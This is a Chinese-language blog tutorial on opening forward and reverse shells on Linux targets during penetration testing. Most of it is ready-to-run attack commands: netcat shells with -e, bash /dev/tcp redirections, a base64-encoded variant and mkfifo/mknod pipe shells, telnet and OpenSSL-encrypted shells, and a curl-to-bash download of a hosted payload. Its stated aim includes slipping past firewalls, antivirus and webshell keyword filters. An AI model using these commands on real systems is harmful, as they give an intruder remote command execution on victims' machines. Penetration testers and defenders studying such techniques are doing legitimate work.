渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Linux篇(゚益゚メ) 渗透测试

1,534 阅读7分钟

文章目录

相关博客

  1. Linux信息收集、渗透测试常用命令: xunmi.blog.csdn.net/article/det… (如果你不了解重定向标准文件操作符一定要看一下此博客这两部分,要不然你可能无法理解下面反弹shell的命令原理!!!)
  2. Linux常用提权方法: xunmi.blog.csdn.net/article/det…
  3. 渗透测试常用反弹shell方法(如何渗透测试反弹shell?: xunmi.blog.csdn.net/article/det…

反弹shell介绍

反弹shell主要就是让我们能远程连接到目标控制台并且下达指令,来达到操控目标资产的目的!
反弹shell分为:

  1. 正向反弹: 控制端(也就是我们自己的机器)发送请求去连接被控端(目标机器)的方式。
    不过这种方式会受到防火墙,路由,等各种很多因素影响,很难成功。
    在这里插入图片描述
  2. 反向反弹: 被控端主动发送请求连接我们的控制端。
    这种方法是可以想办法避开防火墙和路由的一些限制的!
    在这里插入图片描述

常用反弹方式

测试机器:

  1. kali: 192.168.1.200(可连通外网,我一般用他作为攻击机,控制端)
  2. contos7: 43.128.11.131(腾讯云的一台vps,我一般用他作为常规服务器,被控端)
    在这里插入图片描述

NetCat(NC)反弹

无论是Windows还是Linux都是可以使用NC进行反弹的。

正向NC

正向的时候,我们需要先在被控端开启指定端口的监听,然后在使用控制端去连接

# 被控端(l:监听模式,p:指定端口号,v:详细信息(这里的信息指的是指令执行过程),vv是更详细的信息)
nc -lvvp 端口号 -e 使用的sh
# 比如:
nc -lvvp 4578 -e /bin/bash
# 控制端
nc 目标IP 端口号
# 比如
nc 43.128.11.131 4578 
# msf的攻击载荷(不太推荐使用nc作为msf的正向连接工具,稳定性比较差,一般只能上线shell,很难获得稳定的meterpreter)
payload/cmd/unix/bind_netcat
payload/cmd/unix/reverse_netcat

在这里插入图片描述

反向NC

被控端反向shell种类非常多,可以使用在线工具生成: weibell.github.io/reverse-she…
下面我会详细剖析一些常用的被控端反向shell的命令原理!
使用正向shell的大多数场景是已经在目标内网中,几乎不存在太多安全措施的情况下,一般不重视如何绕过防火墙杀软之类的检测。但反向shell不同,一般反向shell需要攻击的目标都是和外网有之间连接的机器,这种机器一般都会有一些安全措施,为了防止被这些安全措施拦截,我们可能会用一些花里胡哨的方法来迷惑安全措施。(如果你看不懂这里,则请先看一下我的Linux渗透测试命令基础博客!)中反弹shell基础那部分的说明!

# 控制端:
nc –lvvp 端口
# 被控端:
nc -e /bin/bash IP 端口

一般直接使用nc反弹的shell并不是很稳定,并且可能还会出现没有-e参数的情况(-e: 程序重定向,一但连接就执行,这是一个危险参数,所以可能目标nc会不支持此参数),这时候我们还一些在被控端执行的反弹shell命令同样可以自行,并且是完全兼容控制端nc的命令的!

# 其他反弹shell命令
# 最基础的命令,下面有详解
bash -i >& /dev/tcp/IP/端口 0>&1
## 这个命令和上面的是等价的,只是写法有点不同!
bash -i > /dev/tcp/IP/端口 0>&1 2>&1
## `exec 5<>/dev/tcp/IP/端口`这里自定义了一个文件描述符
## `cat <&5`这里是读取我们自定义的文件描述符文件,并且使用管道符传给接下来的命令
## `while read line; do $line 2>&5 >&5`这里是创建一个变量line,然后读取上一步传来的数据中的每一段然后在将标准输出和错误输出都重定向到我们自定义的文件描述符5中
exec 5<>/dev/tcp/IP/端口;cat <&5 | while read line; do $line 2>&5 >&5; done
## 这里和上面类似,这里创建的文件描述符是181,并且在一开始就将输入重定向到181这个文件描述符中。
0<&181-;exec 181<>/dev/tcp/IP/端口;sh <&181 >&181 2>&181
## 这里和第一个命令一样,只是多了一层base64的编码!
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC/nq6/lj6MgMD4mMQ==|base64 -d|bash -i"
# msf攻击载荷
cmd/unix/bind_netcat
cmd/unix/reverse_netcat

在这里插入图片描述
在这里插入图片描述
如果目标机器/dev/tcp也无法使用,这可以尝试使用下面方法!

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/f
mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe

# 使用msf生成
## 比如
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.1 lport=4578 -f raw
mkfifo /tmp/ysngi; nc 192.168.1.1 4578 0</tmp/ysngi | /bin/sh >/tmp/ysngi 2>&1; rm /tmp/ysngi
  1. rm /tmp/临时文件;mkfifo /tmp/临时文件;cat /tmp/临时文件 | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/临时文件

    1. rm /tmp/临时文件: 首先删除临时文件,以免造成冲突,(后面的分号;表述依次逐个执行后面的命令。)

    2. mkfifo /tmp/临时文件: mkfifo是Linux中专门用来创建管道的命令,具体作用如下图,我们可以在一个终端中创建一个管道符,传入一个命令后,在另一个终端接收即可获取数据(使用重定向符<的话可以持续接收!比如cat < 临时文件)。在这里插入图片描述

    3. cat /tmp/临时文件 | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/临时文件

      1. cat /tmp/临时文件: 首先读取新创建的临时文件,并将内容通过管道符传给下一个命令
      2. /bin/bash -i 2>&1 | nc IP 端口 >/tmp/临时文件: 先将上一步获取到的命令在bash终端中执行,并将结果通过nc输出到目标,并且将目标的命令重新写入临时文件

    msf可以自动的快速生成这种命令!
    在这里插入图片描述

  2. mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe

    1. mknod 设备名 p: 创建字符设备文件和块设备文件(类似我们插入u盘之类的那种设备文件!)这里的创建p表示创建 FIFO(已命名的管道)

Telnet反弹

telnet命令: 用于登录远程主机,对远程主机进行管理。他是ssh前辈,但因为安全性方面远不如ssh,甚至直接是使用明文传输数据的,已经逐步被弃用了。但我们依旧可以尝试使用它在一些仍然开启Telnet服务的机器中尝试反弹shell。

正向shell

# 攻击机开启两个端口进行监听一个用于输入,一个用于输出
nc -lvvp 输入端口
nc -lvvp 输出端口
# 目标机
telnet 47.101.214.85 输入端口 | /bin/bash | telnet 47.101.214.85 输出端口

反向shell

# 攻击机
nc -lvvp 端口
# 目标机:
rm -f a && mknod a p && telnet IP 端口 0<a | /bin/bash 1>a
rm -f a;mknod a p;telnet IP 端口 0<a | /bin/bash 1>a

在这里插入图片描述

OpenSSL

SSL是安全套接字协议,而OpenSSL是Linux系统中强大的安全套接字层密码库,具体他的用法这里就不介绍了,下面只会提到和反弹shell有个的一些内容。
首先我们利用此库反弹shell,需要生成一个秘钥文件

# 生成秘钥(在我们攻击机上生成的)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
# 在攻击机中启动监听(在之前生成秘钥的文件夹中执行)
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
# 在目标机器上反弹shell
mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect IP:443 > /tmp/s;rm /tmp/s

所有选项都可以选择默认的(这里我就把地区改成了我认为的中国,不确定是对的,但不影响)
在这里插入图片描述
在这里插入图片描述

Curl

没错,这就是Linux系统中的下载命令,因为有时候可能我们拿下的webshell有一些过滤机制,会把我们的反弹shell中一些关键词过滤掉,导致一直反弹失败,这时候我们可以尝试使用这种方法来执行!
首先我们需要在公网服务器中创建一个index.html文件,并且在其中写入反弹shell命令,然后开启http服务,并且开始监听之前的反弹shell命令指定的端口。

# 攻击端: 
echo 'bash -i >& /dev/tcp/IP/端口' > index.html
# 比如
echo 'bash -i >& /dev/tcp/43.128.11.131/4545' > index.html
# 这里&是让这个命令后台执行
python3 -m http.server &
nc -lvvp 4545 
# 目标机:
curl 43.128.11.131:8000|bash

在这里插入图片描述